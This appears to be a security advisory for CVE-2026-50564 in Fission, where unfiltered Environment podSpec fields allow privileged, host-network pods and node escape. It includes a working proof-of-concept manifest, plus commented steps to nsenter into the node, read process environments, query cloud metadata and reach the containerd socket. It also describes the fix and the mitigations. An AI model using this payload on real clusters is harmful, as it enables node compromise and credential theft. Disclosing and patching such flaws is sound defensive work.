critical · 9.9CVE-2026-50564Jun 30, 2026

CVE-2026-50564: Fission Environment PodSpec Passthrough Privilege Escalation to Node Escape

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any user with permission to create or update a Fission Environment can craft a manifest that spins up a privileged, host-network pod, giving them full access to the underlying Kubernetes node and…

Packagegithub.com/fission/fission
Ecosystemgo
Affected<= 1.23.0
Fixed in1.24.0

The problem

Fission's Environment CRD exposes spec.runtime.podSpec and spec.builder.podSpec, which are merged directly into Kubernetes pod specs. Before v1.24.0, the merge function (MergePodSpec) propagated hostNetwork, hostPID, hostIPC, container privileged, allowPrivilegeEscalation, dangerous Linux capabilities, and serviceAccountName from the user-supplied value with zero filtering.

Environment.Validate performed no security checks on any of these fields, and the validating webhook was only wired to create verbs, not update. The Helm chart also created the fission-function and fission-builder namespaces without pod-security.kubernetes.io/enforce labels, so Kubernetes Pod Security Admission provided no backstop either.

With create or update RBAC on environments.fission.io, an attacker could land a privileged, host-network, hostPID pod and then nsenter into the node, read cloud-metadata credentials, access the container-runtime socket, and pivot to full cluster compromise.

Proof of concept

A working proof-of-concept for CVE-2026-50564 in github.com/fission/fission, with the exact payload below.

bash
# Apply this Environment manifest as any namespace user with
# create/update on environments.fission.io
apiVersion: fission.io/v1
kind: Environment
metadata:
  name: pwned-env
  namespace: default
spec:
  version: 2
  runtime:
    image: fission/python-env
    podSpec:
      hostNetwork: true
      hostPID: true
      hostIPC: true
      serviceAccountName: fission-svc   # steal a privileged SA token
      containers:
        - name: python
          image: fission/python-env
          securityContext:
            privileged: true
            allowPrivilegeEscalation: true
            capabilities:
              add: ["SYS_ADMIN", "NET_ADMIN", "SYS_PTRACE"]

# Once the runtime pod is scheduled, exec into it and escape:
# kubectl exec -n fission-function <pod> -- nsenter -t 1 -m -u -i -n /bin/bash
# From there: read /proc/1/environ, curl the cloud-metadata endpoint,
# access /var/run/containerd/containerd.sock, etc.

The root cause is a missing denylist at both the admission and merge layers (CWE-269, CWE-284, CWE-693). MergePodSpec in pkg/executor/util/merge.go did a field-by-field structural merge with no field filtering, so every attacker-supplied pod-level and container-level field landed verbatim in the generated pod.

The fix in PR #3391 (commit e484df8) added ValidatePodSpecSafety in pkg/apis/core/v1/podspec_safety.go, called from Environment.Validate for both Runtime.PodSpec and Builder.PodSpec. It denylists hostNetwork, hostPID, hostIPC, serviceAccountName / DeprecatedServiceAccount, hostPath volumes, privileged: true, allowPrivilegeEscalation: true, and six dangerous capabilities (SYS_ADMIN, NET_ADMIN, SYS_PTRACE, SYS_MODULE, DAC_READ_SEARCH, DAC_OVERRIDE) at admission.

A belt-and-braces sanitizer was also added at the merge layer so that stale pre-webhook objects or failurePolicy=Ignore scenarios cannot bypass the check. The webhook was also extended from verbs=create to verbs=create;update to close the update-bypass.

The fix

Upgrade to Fission v1.24.0 or later (v1.25.0 further hardens the capability check by replacing the denylist with a strict allowlist matching the Kubernetes PSA restricted profile). If immediate upgrade is not possible, tighten RBAC on environments.fission.io to trusted operators only, and manually label the fission-function and fission-builder namespaces with pod-security.kubernetes.io/enforce: restricted.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research